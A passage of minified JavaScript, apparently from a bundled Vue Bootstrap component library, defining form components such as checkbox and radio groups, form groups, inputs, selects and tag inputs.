0},autofocus:{default:!1},buttonVariant:{default:\"secondary\"},buttons:{default:!1},disabled:{default:!1},disabledField:{default:\"disabled\"},htmlField:{default:\"html\"},name:null,options:{default:()=>[]},plain:{default:!1},required:{default:!1},size:null,stacked:{default:!1},state:{default:void 0},switches:{default:!1},textField:{default:\"text\"},validated:{default:!1},valueField:{default:\"value\"}},emits:[\"input\",\"update:modelValue\",\"change\"],setup(e,{emit:t}){const n=e;cu((0,o.lW)(n,\"autofocus\"));const r=cu((0,o.lW)(n,\"buttons\")),l=cu((0,o.lW)(n,\"disabled\"));cu((0,o.lW)(n,\"plain\"));const s=cu((0,o.lW)(n,\"required\")),u=cu((0,o.lW)(n,\"stacked\")),d=cu((0,o.lW)(n,\"state\")),c=cu((0,o.lW)(n,\"switches\")),f=cu((0,o.lW)(n,\"validated\")),p=(0,a.Ht)(),h=\"BFormCheckbox\",v=xu((0,o.lW)(n,\"id\"),\"checkbox\"),m=xu((0,o.lW)(n,\"name\"),\"checkbox\"),g=(0,a.EW)({get:()=>n.modelValue,set:e=>{if(JSON.stringify(e)===JSON.stringify(n.modelValue))return;const r=n.options.filter(t=>e.map(e=>JSON.stringify(e)).includes(JSON.stringify(\"string\"==typeof t?t:t[n.valueField]))).map(e=>\"string\"==typeof e?e:e[n.valueField]);t(\"input\",r),t(\"update:modelValue\",r),t(\"change\",r)}}),y=(0,a.EW)(()=>(p.first?_u(p.first(),h,l.value):[]).concat(n.options.map(e=>ku(e,n))).concat(p.default?_u(p.default(),h,l.value):[]).map((e,t)=>Cu(e,t,n,m,v)).map(e=>({...e,props:{switch:c.value,...e.props}}))),b=(0,o.Kh)({required:(0,o.lW)(s,\"value\"),ariaInvalid:(0,o.lW)(n,\"ariaInvalid\"),state:(0,o.lW)(d,\"value\"),validated:(0,o.lW)(f,\"value\"),buttons:(0,o.lW)(r,\"value\"),stacked:(0,o.lW)(u,\"value\"),size:(0,o.lW)(n,\"size\")}),$=$u(b),w=wu(b);return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",(0,a.v6)((0,o.R1)($),{id:(0,o.R1)(v),role:\"group\",class:[(0,o.R1)(w),\"bv-no-focus-ring\"],tabindex:\"-1\"}),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(y),(e,n)=>((0,a.uX)(),(0,a.Wv)(yf,(0,a.v6)({key:n,modelValue:(0,o.R1)(g),\"onUpdate:modelValue\":t[0]||(t[0]=e=>(0,o.i9)(g)?g.value=e:null)},e.props),{default:(0,a.k6)(()=>[e.html?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.html},null,8,$f)):((0,a.uX)(),(0,a.CE)(\"span\",{key:1,textContent:(0,i.v_)(e.text)},null,8,wf))]),_:2},1040,[\"modelValue\"]))),128))],16,bf))}}),kf=[\"input\",\"select\",\"textarea\"],Cf=kf.map(e=>`${e}:not([disabled])`).join(),xf=[...kf,\"a\",\"button\",\"label\"],Sf=\"label\",Ef=\"invalid-feedback\",Tf=\"valid-feedback\",Rf=\"description\",Of=\"default\",Mf=(0,a.pM)({components:{BCol:yc,BFormInvalidFeedback:cf,BFormRow:ff,BFormText:pf,BFormValidFeedback:hf},props:{contentCols:{type:[Boolean,String,Number],required:!1},contentColsLg:{type:[Boolean,String,Number],required:!1},contentColsMd:{type:[Boolean,String,Number],required:!1},contentColsSm:{type:[Boolean,String,Number],required:!1},contentColsXl:{type:[Boolean,String,Number],required:!1},description:{type:[String],required:!1},disabled:{type:[Boolean,String],default:!1},feedbackAriaLive:{type:String,default:\"assertive\"},id:{type:String,required:!1},invalidFeedback:{type:String,required:!1},label:{type:String,required:!1},labelAlign:{type:[Boolean,String,Number],required:!1},labelAlignLg:{type:[Boolean,String,Number],required:!1},labelAlignMd:{type:[Boolean,String,Number],required:!1},labelAlignSm:{type:[Boolean,String,Number],required:!1},labelAlignXl:{type:[Boolean,String,Number],required:!1},labelClass:{type:[Array,Object,String],required:!1},labelCols:{type:[Boolean,String,Number],required:!1},labelColsLg:{type:[Boolean,String,Number],required:!1},labelColsMd:{type:[Boolean,String,Number],required:!1},labelColsSm:{type:[Boolean,String,Number],required:!1},labelColsXl:{type:[Boolean,String,Number],required:!1},labelFor:{type:String,required:!1},labelSize:{type:String,required:!1},labelSrOnly:{type:[Boolean,String],default:!1},state:{type:[Boolean,String],default:null},tooltip:{type:[Boolean,String],default:!1},validFeedback:{type:String,required:!1},validated:{type:[Boolean,String],default:!1},floating:{type:[Boolean,String],default:!1}},setup(e,{attrs:t}){const n=cu((0,o.lW)(e,\"disabled\")),r=cu((0,o.lW)(e,\"labelSrOnly\")),i=cu((0,o.lW)(e,\"state\")),l=cu((0,o.lW)(e,\"tooltip\")),s=cu((0,o.lW)(e,\"validated\")),u=cu((0,o.lW)(e,\"floating\")),d=null,c=[\"xs\",\"sm\",\"md\",\"lg\",\"xl\"],f=(e,t)=>c.reduce((n,r)=>{const a=lu(\"xs\"===r?\"\":r,`${t}Align`),o=e[a]||null;return o&&(\"xs\"===r?n.push(`text-${o}`):n.push(`text-${r}-${o}`)),n},[]),p=(e,t)=>c.reduce((n,r)=>{const a=lu(\"xs\"===r?\"\":r,`${t}Cols`);let o=e[a];return o=\"\"===o||(o||!1),\"boolean\"!=typeof o&&\"auto\"!==o&&(o=ou(o,0),o=o>0&&o),o&&(\"xs\"===r?n.cols=o:n[r||(\"boolean\"==typeof o?\"col\":\"cols\")]=o),n},{}),h=(0,o.KR)(),v=(t,n=null)=>{if(Ws&&e.labelFor){const r=Xs(`#${Os(e.labelFor)}`,h);if(r){const e=\"aria-describedby\",a=(t||\"\").split(_s),o=(n||\"\").split(_s),i=(Gs(r,e)||\"\").split(_s).filter(e=>!o.includes(e)).concat(a).filter((e,t,n)=>n.indexOf(e)===t).filter(e=>e).join(\" \").trim();i?Ys(r,e,i):zs(r,e)}}},m=(0,a.EW)(()=>p(e,\"content\")),g=(0,a.EW)(()=>f(e,\"label\")),y=(0,a.EW)(()=>p(e,\"label\")),b=(0,a.EW)(()=>Object.keys(m.value).length>0||Object.keys(y.value).length>0),$=(0,a.EW)(()=>\"boolean\"==typeof i.value?i.value:null),w=(0,a.EW)(()=>{const e=$.value;return!0===e?\"is-valid\":!1===e?\"is-invalid\":null}),_=(0,a.EW)(()=>eu(t.ariaInvalid,i.value));return(0,a.wB)(()=>d,(e,t)=>{e!==t&&v(e,t)}),(0,a.sV)(()=>{(0,a.dY)(()=>{v(d)})}),{disabledBoolean:n,labelSrOnlyBoolean:r,stateBoolean:i,tooltipBoolean:l,validatedBoolean:s,floatingBoolean:u,ariaDescribedby:d,computedAriaInvalid:_,contentColProps:m,isHorizontal:b,labelAlignClasses:g,labelColProps:y,onLegendClick:t=>{if(e.labelFor)return;const{target:n}=t,r=n?n.tagName:\"\";if(-1!==xf.indexOf(r))return;const a=Hs(Cf,h).filter(Vs);1===a.length&&js(a[0])},stateClass:w}},render(){const e=this.$props,t=this.$slots,n=xu(),r=!e.labelFor;let i=null;const l=ru(Sf,{},t)||e.label,s=l?Js(\"_BV_label_\"):null;if(l||this.isHorizontal){const t=r?\"legend\":\"label\";if(this.labelSrOnlyBoolean)l&&(i=(0,a.h)(t,{class:\"visually-hidden\",id:s,for:e.labelFor||null},l)),i=this.isHorizontal?(0,a.h)(yc,this.labelColProps,{default:()=>i}):(0,a.h)(\"div\",{},[i]);else{const n={onClick:r?this.onLegendClick:null,...this.isHorizontal?this.labelColProps:{},tag:this.isHorizontal?t:null,id:s,for:e.labelFor||null,tabIndex:r?\"-1\":null,class:[this.isHorizontal?\"col-form-label\":\"form-label\",{\"bv-no-focus-ring\":r,\"col-form-label\":this.isHorizontal||r,\"pt-0\":!this.isHorizontal&&r,\"d-block\":!this.isHorizontal&&!r,[`col-form-label-${e.labelSize}`]:!!e.labelSize},this.labelAlignClasses,e.labelClass]};i=this.isHorizontal?(0,a.h)(yc,n,{default:()=>l}):(0,a.h)(t,n,l)}}let u=null;const d=ru(Ef,{},t)||this.invalidFeedback,c=d?Js(\"_BV_feedback_invalid_\"):void 0;d&&(u=(0,a.h)(cf,{ariaLive:e.feedbackAriaLive,id:c,state:this.stateBoolean,tooltip:this.tooltipBoolean},{default:()=>d}));let f=null;const p=ru(Tf,{},t)||this.validFeedback,h=p?Js(\"_BV_feedback_valid_\"):void 0;p&&(f=(0,a.h)(hf,{ariaLive:e.feedbackAriaLive,id:h,state:this.stateBoolean,tooltip:this.tooltipBoolean},{default:()=>p}));let v=null;const m=ru(Rf,{},t)||this.description,g=m?Js(\"_BV_description_\"):void 0;m&&(v=(0,a.h)(pf,{id:g},{default:()=>m}));const y=this.ariaDescribedby=[g,!1===this.stateBoolean?c:null,!0===this.stateBoolean?h:null].filter(e=>e).join(\" \")||null,b=[ru(Of,{ariaDescribedby:y,descriptionId:g,id:n,labelId:s},t)||\"\",u,f,v];!this.isHorizontal&&this.floatingBoolean&&b.push(i);let $=(0,a.h)(\"div\",{ref:\"content\",class:[{\"form-floating\":!this.isHorizontal&&this.floatingBoolean}]},b);this.isHorizontal&&($=(0,a.h)(yc,{ref:\"content\",...this.contentColProps},{default:()=>b}));const w={class:[\"mb-3\",this.stateClass,{\"was-validated\":this.validatedBoolean}],id:xu((0,o.lW)(e,\"id\")).value,disabled:r?this.disabledBoolean:null,role:r?null:\"group\",\"aria-invalid\":this.computedAriaInvalid,\"aria-labelledby\":r&&this.isHorizontal?s:null};return this.isHorizontal&&!r?(0,a.h)(ff,w,{default:()=>[i,$]}):(0,a.h)(r?\"fieldset\":\"div\",w,this.isHorizontal&&r?[(0,a.h)(ff,{},{default:()=>[i,$]})]:this.isHorizontal||!this.floatingBoolean?[i,$]:[$])}}),Af=[\"text\",\"number\",\"email\",\"password\",\"search\",\"url\",\"tel\",\"date\",\"time\",\"range\",\"color\"],Df=(0,a.pM)({props:{...Su,max:{type:[String,Number],required:!1},min:{type:[String,Number],required:!1},step:{type:[String,Number],required:!1},type:{type:String,default:\"text\",validator:e=>Af.includes(e)}},emits:[\"update:modelValue\",\"change\",\"blur\",\"input\"],setup(e,{emit:t}){const n=(0,a.EW)(()=>{const t=\"range\"===e.type,n=\"color\"===e.type;return{\"form-range\":t,\"form-control\":n||!e.plaintext&&!t,\"form-control-color\":n,\"form-control-plaintext\":e.plaintext&&!t&&!n,[`form-control-${e.size}`]:!!e.size,\"is-valid\":!0===e.state,\"is-invalid\":!1===e.state}}),r=(0,a.EW)(()=>Af.includes(e.type)?e.type:\"text\"),{input:o,computedId:i,computedAriaInvalid:l,onInput:s,onChange:u,onBlur:d,focus:c,blur:f}=Eu(e,t);return{classes:n,localType:r,input:o,computedId:i,computedAriaInvalid:l,onInput:s,onChange:u,onBlur:d,focus:c,blur:f}}}),Wf=[\"id\",\"name\",\"form\",\"type\",\"disabled\",\"placeholder\",\"required\",\"autocomplete\",\"readonly\",\"min\",\"max\",\"step\",\"list\",\"aria-required\",\"aria-invalid\"];function Bf(e,t,n,r,o,i){return(0,a.uX)(),(0,a.CE)(\"input\",(0,a.v6)({id:e.computedId,ref:\"input\",class:e.classes,name:e.name||void 0,form:e.form||void 0,type:e.localType,disabled:e.disabled,placeholder:e.placeholder,required:e.required,autocomplete:e.autocomplete||void 0,readonly:e.readonly||e.plaintext,min:e.min,max:e.max,step:e.step,list:\"password\"!==e.type?e.list:void 0,\"aria-required\":e.required?\"true\":void 0,\"aria-invalid\":e.computedAriaInvalid},e.$attrs,{onInput:t[0]||(t[0]=t=>e.onInput(t)),onChange:t[1]||(t[1]=t=>e.onChange(t)),onBlur:t[2]||(t[2]=t=>e.onBlur(t))}),null,16,Wf)}const Pf=vd(Df,[[\"render\",Bf]]),If=[\"id\",\"disabled\",\"required\",\"name\",\"form\",\"aria-label\",\"aria-labelledby\",\"value\",\"aria-required\"],Nf=[\"for\"],Lf=(0,a.pM)({__name:\"BFormRadio\",props:{ariaLabel:null,ariaLabelledBy:null,form:null,id:null,name:null,size:null,autofocus:{default:!1},modelValue:{type:[Boolean,String,Array,Object,Number],default:void 0},plain:{default:!1},button:{default:!1},switch:{default:!1},disabled:{default:!1},buttonVariant:{default:\"secondary\"},inline:{default:!1},required:{default:!1},state:{default:void 0},value:{type:[String,Boolean,Object,Number],default:!0}},emits:[\"input\",\"change\",\"update:modelValue\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"autofocus\")),s=cu((0,o.lW)(n,\"plain\")),u=cu((0,o.lW)(n,\"button\")),d=cu((0,o.lW)(n,\"switch\")),c=cu((0,o.lW)(n,\"disabled\")),f=cu((0,o.lW)(n,\"inline\")),p=cu((0,o.lW)(n,\"required\")),h=cu((0,o.lW)(n,\"state\")),v=xu((0,o.lW)(n,\"id\"),\"form-check\"),m=(0,o.KR)(null),g=(0,o.KR)(!1),y=(0,a.EW)({get:()=>Array.isArray(n.modelValue)?n.modelValue[0]:n.modelValue,set:e=>{const r=!!e&&n.value,a=Array.isArray(n.modelValue)?[r]:r;t(\"input\",a),t(\"change\",a),t(\"update:modelValue\",a)}}),b=(0,a.EW)(()=>Array.isArray(n.modelValue)?(n.modelValue||[]).find(e=>e===n.value):JSON.stringify(n.modelValue)===JSON.stringify(n.value)),$=(0,o.Kh)({plain:(0,o.lW)(s,\"value\"),button:(0,o.lW)(u,\"value\"),inline:(0,o.lW)(f,\"value\"),switch:(0,o.lW)(d,\"value\"),size:(0,o.lW)(n,\"size\"),state:(0,o.lW)(h,\"value\"),buttonVariant:(0,o.lW)(n,\"buttonVariant\")}),w=gu($),_=yu($),k=bu($);return(0,a.sV)(()=>{r.value&&m.value.focus()}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)((0,o.R1)(w))},[(0,a.bo)((0,a.Lk)(\"input\",(0,a.v6)({id:(0,o.R1)(v)},t.$attrs,{ref_key:\"input\",ref:m,\"onUpdate:modelValue\":n[0]||(n[0]=e=>(0,o.i9)(y)?y.value=e:null),class:(0,o.R1)(_),type:\"radio\",disabled:(0,o.R1)(c),required:!!e.name&&!!(0,o.R1)(p),name:e.name,form:e.form,\"aria-label\":e.ariaLabel,\"aria-labelledby\":e.ariaLabelledBy,value:e.value,\"aria-required\":!(!e.name||!(0,o.R1)(p))||void 0,onFocus:n[1]||(n[1]=e=>g.value=!0),onBlur:n[2]||(n[2]=e=>g.value=!1)}),null,16,If),[[l.XL,(0,o.R1)(y)]]),t.$slots.default||!(0,o.R1)(s)?((0,a.uX)(),(0,a.CE)(\"label\",{key:0,for:(0,o.R1)(v),class:(0,i.C4)([(0,o.R1)(k),{active:(0,o.R1)(b),focus:g.value}])},[(0,a.RG)(t.$slots,\"default\")],10,Nf)):(0,a.Q3)(\"\",!0)],2))}}),jf=[\"id\"],Ff=[\"innerHTML\"],Vf=[\"textContent\"],Uf=(0,a.pM)({__name:\"BFormRadioGroup\",props:{size:null,form:null,id:null,name:null,modelValue:{type:[String,Boolean,Array,Object,Number],default:\"\"},ariaInvalid:{default:void 0},autofocus:{default:!1},buttonVariant:{default:\"secondary\"},buttons:{default:!1},disabled:{default:!1},disabledField:{default:\"disabled\"},htmlField:{default:\"html\"},options:{default:()=>[]},plain:{default:!1},required:{default:!1},stacked:{default:!1},state:{default:void 0},textField:{default:\"text\"},validated:{default:!1},valueField:{default:\"value\"}},emits:[\"input\",\"update:modelValue\",\"change\"],setup(e,{emit:t}){const n=e;cu((0,o.lW)(n,\"autofocus\"));const r=cu((0,o.lW)(n,\"buttons\")),l=cu((0,o.lW)(n,\"disabled\"));cu((0,o.lW)(n,\"plain\"));const s=cu((0,o.lW)(n,\"required\")),u=cu((0,o.lW)(n,\"stacked\")),d=cu((0,o.lW)(n,\"state\")),c=cu((0,o.lW)(n,\"validated\")),f=(0,a.Ht)(),p=\"BFormRadio\",h=xu((0,o.lW)(n,\"id\"),\"radio\"),v=xu((0,o.lW)(n,\"name\"),\"checkbox\"),m=(0,a.EW)({get:()=>n.modelValue,set:e=>{t(\"input\",e),t(\"update:modelValue\",e),t(\"change\",e)}}),g=(0,a.EW)(()=>(f.first?_u(f.first(),p,l.value):[]).concat(n.options.map(e=>ku(e,n))).concat(f.default?_u(f.default(),p,l.value):[]).map((e,t)=>Cu(e,t,n,v,h)).map(e=>({...e}))),y=(0,o.Kh)({required:(0,o.lW)(s,\"value\"),ariaInvalid:(0,o.lW)(n,\"ariaInvalid\"),state:(0,o.lW)(d,\"value\"),validated:(0,o.lW)(c,\"value\"),buttons:(0,o.lW)(r,\"value\"),stacked:(0,o.lW)(u,\"value\"),size:(0,o.lW)(n,\"size\")}),b=$u(y),$=wu(y);return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",(0,a.v6)((0,o.R1)(b),{id:(0,o.R1)(h),role:\"radiogroup\",class:[(0,o.R1)($),\"bv-no-focus-ring\"],tabindex:\"-1\"}),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(g),(e,n)=>((0,a.uX)(),(0,a.Wv)(Lf,(0,a.v6)({key:n,modelValue:(0,o.R1)(m),\"onUpdate:modelValue\":t[0]||(t[0]=e=>(0,o.i9)(m)?m.value=e:null)},e.props),{default:(0,a.k6)(()=>[e.html?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.html},null,8,Ff)):((0,a.uX)(),(0,a.CE)(\"span\",{key:1,textContent:(0,i.v_)(e.text)},null,8,Vf))]),_:2},1040,[\"modelValue\"]))),128))],16,jf))}}),Xf=[\"value\",\"disabled\"],Hf=(0,a.pM)({__name:\"BFormSelectOption\",props:{value:null,disabled:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"disabled\"));return(n,r)=>((0,a.uX)(),(0,a.CE)(\"option\",{value:e.value,disabled:(0,o.R1)(t)},[(0,a.RG)(n.$slots,\"default\")],8,Xf))}}),Gf=[\"label\"],Yf=(0,a.pM)({__name:\"BFormSelectOptionGroup\",props:{label:null,disabledField:{default:\"disabled\"},htmlField:{default:\"html\"},options:{default:()=>[]},textField:{default:\"text\"},valueField:{default:\"value\"}},setup(e){const t=e,n=(0,a.EW)(()=>Ou(t.options,\"BFormSelectOptionGroup\",t));return(t,r)=>((0,a.uX)(),(0,a.CE)(\"optgroup\",{label:e.label},[(0,a.RG)(t.$slots,\"first\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(n),(e,n)=>((0,a.uX)(),(0,a.Wv)(Hf,(0,a.v6)({key:`option_${n}`,value:e.value,disabled:e.disabled},t.$attrs,{innerHTML:e.html||e.text}),null,16,[\"value\",\"disabled\",\"innerHTML\"]))),128)),(0,a.RG)(t.$slots,\"default\")],8,Gf))}}),zf=[\"id\",\"name\",\"form\",\"multiple\",\"size\",\"disabled\",\"required\",\"aria-required\",\"aria-invalid\"],Kf=(0,a.pM)({__name:\"BFormSelect\",props:{ariaInvalid:{default:void 0},autofocus:{default:!1},disabled:{default:!1},disabledField:{default:\"disabled\"},form:null,htmlField:{default:\"html\"},id:null,labelField:{default:\"label\"},multiple:{default:!1},name:null,options:{default:()=>[]},optionsField:{default:\"options\"},plain:{default:!1},required:{default:!1},selectSize:{default:0},size:null,state:{default:void 0},textField:{default:\"text\"},valueField:{default:\"value\"},modelValue:{default:\"\"}},emits:[\"input\",\"update:modelValue\",\"change\"],setup(e,{expose:t,emit:n}){const r=e,i=cu((0,o.lW)(r,\"autofocus\")),s=cu((0,o.lW)(r,\"disabled\")),u=cu((0,o.lW)(r,\"multiple\")),d=cu((0,o.lW)(r,\"plain\")),c=cu((0,o.lW)(r,\"required\")),f=cu((0,o.lW)(r,\"state\")),p=(0,o.KR)(),h=xu((0,o.lW)(r,\"id\"),\"input\"),v=()=>{(0,a.dY)(()=>{var e;i.value&&(null==(e=p.value)||e.focus())})};(0,a.sV)(v),(0,a.n)(v);const m=(0,a.EW)(()=>({\"form-control\":d.value,[`form-control-${r.size}`]:r.size&&d.value,\"form-select\":!d.value,[`form-select-${r.size}`]:r.size&&!d.value,\"is-valid\":!0===f.value,\"is-invalid\":!1===f.value})),g=(0,a.EW)(()=>{if(r.selectSize||d.value)return r.selectSize}),y=(0,a.EW)(()=>eu(r.ariaInvalid,f.value)),b=(0,a.EW)(()=>Ou(r.options,\"BFormSelect\",r)),$=(0,a.EW)({get(){return r.modelValue},set(e){n(\"change\",e),n(\"update:modelValue\",e),n(\"input\",e)}});return t({blur:()=>{var e;s.value||null==(e=p.value)||e.blur()},focus:()=>{var e;s.value||null==(e=p.value)||e.focus()}}),(t,n)=>(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"select\",(0,a.v6)({id:(0,o.R1)(h),ref_key:\"input\",ref:p},t.$attrs,{\"onUpdate:modelValue\":n[0]||(n[0]=e=>(0,o.i9)($)?$.value=e:null),class:(0,o.R1)(m),name:e.name,form:e.form||void 0,multiple:(0,o.R1)(u)||void 0,size:(0,o.R1)(g),disabled:(0,o.R1)(s),required:(0,o.R1)(c),\"aria-required\":!!(0,o.R1)(c)||void 0,\"aria-invalid\":(0,o.R1)(y)}),[(0,a.RG)(t.$slots,\"first\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(b),(e,t)=>((0,a.uX)(),(0,a.CE)(a.FK,null,[Array.isArray(e.options)?((0,a.uX)(),(0,a.Wv)(Yf,{key:`option_${t}`,label:e.label,options:e.options},null,8,[\"label\",\"options\"])):((0,a.uX)(),(0,a.Wv)(Hf,{key:`option2_${t}`,value:e.value,disabled:e.disabled,innerHTML:e.html||e.text},null,8,[\"value\",\"disabled\",\"innerHTML\"]))],64))),256)),(0,a.RG)(t.$slots,\"default\")],16,zf)),[[l.u1,(0,o.R1)($)]])}}),qf=[\"id\"],Qf=(0,a.pM)({__name:\"BFormTag\",props:{id:null,title:null,disabled:{default:!1},noRemove:{default:!1},pill:{default:!1},removeLabel:{default:\"Remove tag\"},tag:{default:\"span\"},variant:{default:\"secondary\"}},emits:[\"remove\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"disabled\")),l=cu((0,o.lW)(n,\"noRemove\")),s=cu((0,o.lW)(n,\"pill\")),u=(0,a.Ht)(),d=(0,a.EW)(()=>{var e,t,r;return null!=(r=(null==(t=null==(e=u.default)?void 0:e.call(u)[0].children)?void 0:t.toString())||n.title)?r:\"\"}),c=xu((0,o.lW)(n,\"id\")),f=(0,a.EW)(()=>`${c.value}taglabel__`),p=(0,a.EW)(()=>[`bg-${n.variant}`,{\"text-dark\":[\"warning\",\"info\",\"light\"].includes(n.variant),\"rounded-pill\":s.value,disabled:r.value}]);return(n,s)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:(0,o.R1)(c),title:(0,o.R1)(d),class:(0,i.C4)([\"badge b-form-tag d-inline-flex align-items-center mw-100\",(0,o.R1)(p)]),\"aria-labelledby\":(0,o.R1)(f)},{default:(0,a.k6)(()=>[(0,a.Lk)(\"span\",{id:(0,o.R1)(f),class:\"b-form-tag-content flex-grow-1 text-truncate\"},[(0,a.RG)(n.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)((0,o.R1)(d)),1)])],8,qf),(0,o.R1)(r)||(0,o.R1)(l)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.Wv)(ad,{key:0,\"aria-keyshortcuts\":\"Delete\",type:\"button\",\"aria-label\":e.removeLabel,class:\"b-form-tag-remove\",white:![\"warning\",\"info\",\"light\"].includes(e.variant),\"aria-describedby\":(0,o.R1)(f),\"aria-controls\":e.id,onClick:s[0]||(s[0]=e=>t(\"remove\",(0,o.R1)(d)))},null,8,[\"aria-label\",\"white\",\"aria-describedby\",\"aria-controls\"]))]),_:3},8,[\"id\",\"title\",\"class\",\"aria-labelledby\"]))}}),Zf=[\"id\"],Jf=[\"id\",\"for\",\"aria-live\"],ep=[\"id\",\"aria-live\"],tp=[\"id\"],np=[\"aria-controls\"],rp={role:\"group\",class:\"d-flex\"},ap=[\"id\",\"disabled\",\"value\",\"type\",\"placeholder\",\"form\",\"required\"],op=[\"disabled\"],ip={\"aria-live\":\"polite\",\"aria-atomic\":\"true\"},lp={key:0,class:\"d-block invalid-feedback\"},sp={key:1,class:\"form-text text-muted\"},up={key:2,class:\"form-text text-muted\"},dp=[\"name\",\"value\"],cp=(0,a.pM)({__name:\"BFormTags\",props:{addButtonText:{default:\"Add\"},addButtonVariant:{default:\"outline-secondary\"},addOnChange:{default:!1},autofocus:{default:!1},disabled:{default:!1},duplicateTagText:{default:\"Duplicate tag(s)\"},inputAttrs:null,inputClass:null,inputId:null,inputType:{default:\"text\"},invalidTagText:{default:\"Invalid tag(s)\"},form:null,limit:null,limitTagsText:{default:\"Tag limit reached\"},modelValue:{default:()=>[]},name:null,noAddOnEnter:{default:!1},noOuterFocus:{default:!1},noTagRemove:{default:!1},placeholder:{default:\"Add tag...\"},removeOnDelete:{default:!1},required:{default:!1},separator:null,state:{default:void 0},size:null,tagClass:null,tagPills:{default:!1},tagRemoveLabel:null,tagRemovedLabel:{default:\"Tag removed\"},tagValidator:{type:Function,default:()=>!0},tagVariant:{default:\"secondary\"}},emits:[\"update:modelValue\",\"input\",\"tag-state\",\"focus\",\"focusin\",\"focusout\",\"blur\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"addOnChange\")),l=cu((0,o.lW)(n,\"autofocus\")),s=cu((0,o.lW)(n,\"disabled\")),u=cu((0,o.lW)(n,\"noAddOnEnter\")),d=cu((0,o.lW)(n,\"noOuterFocus\")),c=cu((0,o.lW)(n,\"noTagRemove\")),f=cu((0,o.lW)(n,\"removeOnDelete\")),p=cu((0,o.lW)(n,\"required\")),h=cu((0,o.lW)(n,\"state\")),v=cu((0,o.lW)(n,\"tagPills\")),m=(0,o.KR)(null),g=xu(),y=(0,a.EW)(()=>n.inputId||`${g.value}input__`);(0,a.sV)(()=>{A(),n.modelValue.length>0&&(w.value=!0)}),(0,a.n)(()=>A()),(0,a.wB)(()=>n.modelValue,e=>{b.value=e});const b=(0,o.KR)(n.modelValue),$=(0,o.KR)(\"\"),w=(0,o.KR)(!1),_=(0,o.KR)(!1),k=(0,o.KR)(\"\"),C=(0,o.KR)([]),x=(0,o.KR)([]),S=(0,o.KR)([]),E=(0,a.EW)(()=>({[`form-control-${n.size}`]:void 0!==n.size,disabled:s.value,focus:_.value,\"is-invalid\":!1===h.value,\"is-valid\":!0===h.value})),T=(0,a.EW)(()=>b.value.includes($.value)),R=(0,a.EW)(()=>\"\"!==$.value&&!n.tagValidator($.value)),O=(0,a.EW)(()=>b.value.length===n.limit),M=(0,a.EW)(()=>!R.value&&!T.value),A=()=>{var e;l.value&&(null==(e=m.value)||e.focus())},D=e=>{s.value?e.target.blur():t(\"focusin\",e)},W=e=>{s.value||d.value||(_.value=!0,t(\"focus\",e))},B=e=>{_.value=!1,t(\"blur\",e)},P=e=>{var r,a;const o=\"string\"==typeof e?e:e.target.value;w.value=!1,(null==(r=n.separator)?void 0:r.includes(o.charAt(0)))&&o.length>0?m.value&&(m.value.value=\"\"):($.value=o,null!=(a=n.separator)&&a.includes(o.charAt(o.length-1))?L(o.slice(0,o.length-1)):(C.value=n.tagValidator(o)&&!T.value?[o]:[],x.value=n.tagValidator(o)?[]:[o],S.value=T.value?[o]:[],t(\"tag-state\",C.value,x.value,S.value)))},I=e=>{r.value&&(P(e),T.value||L($.value))},N=e=>{\"Enter\"!==e.key||u.value?(\"Backspace\"===e.key||\"Delete\"===e.key)&&f.value&&\"\"===$.value&&w.value&&b.value.length>0?j(b.value[b.value.length-1]):w.value=!0:L($.value)},L=e=>{var r;if(e=(e||$.value).trim(),\"\"===e||T.value||!n.tagValidator(e)||n.limit&&O.value)return;const a=[...n.modelValue,e];$.value=\"\",w.value=!0,t(\"update:modelValue\",a),t(\"input\",a),null==(r=m.value)||r.focus()},j=e=>{var n;const r=b.value.indexOf(null!=(n=null==e?void 0:e.toString())?n:\"\");k.value=b.value.splice(r,1).toString(),t(\"update:modelValue\",b.value)},F=(0,a.EW)(()=>{const{addButtonText:e,addButtonVariant:t,duplicateTagText:r,inputAttrs:a,form:o,inputType:i,invalidTagText:l,limitTagsText:u,limit:d,placeholder:f,separator:m,size:g,tagClass:w,tagRemoveLabel:_,tagVariant:k}=n;return{addButtonText:e,addButtonVariant:t,addTag:L,disableAddButton:M,disabled:s.value,duplicateTagText:r,duplicateTags:S,form:o,inputAttrs:{...a,disabled:s.value,form:o,id:y,value:$},inputHandlers:{input:P,keydown:N,change:I},inputId:y,inputType:i,invalidTagText:l,invalidTags:x,isDuplicate:T,isInvalid:R,isLimitReached:O,limitTagsText:u,limit:d,noTagRemove:c.value,placeholder:f,removeTag:j,required:p.value,separator:m,size:g,state:h.value,tagClass:w,tagPills:v.value,tagRemoveLabel:_,tagVariant:k,tags:b}});return(n,r)=>((0,a.uX)(),(0,a.CE)(\"div\",{id:(0,o.R1)(g),class:(0,i.C4)([\"b-form-tags form-control h-auto\",(0,o.R1)(E)]),role:\"group\",tabindex:\"-1\",onFocusin:D,onFocusout:r[1]||(r[1]=e=>t(\"focusout\",e))},[(0,a.Lk)(\"output\",{id:`${(0,o.R1)(g)}selected_tags__`,class:\"visually-hidden\",role:\"status\",for:(0,o.R1)(y),\"aria-live\":_.value?\"polite\":\"off\",\"aria-atomic\":\"true\",\"aria-relevant\":\"additions text\"},(0,i.v_)(b.value.join(\", \")),9,Jf),(0,a.Lk)(\"div\",{id:`${(0,o.R1)(g)}removed_tags__`,role:\"status\",\"aria-live\":_.value?\"assertive\":\"off\",\"aria-atomic\":\"true\",class:\"visually-hidden\"},\" (\"+(0,i.v_)(e.tagRemovedLabel)+\") 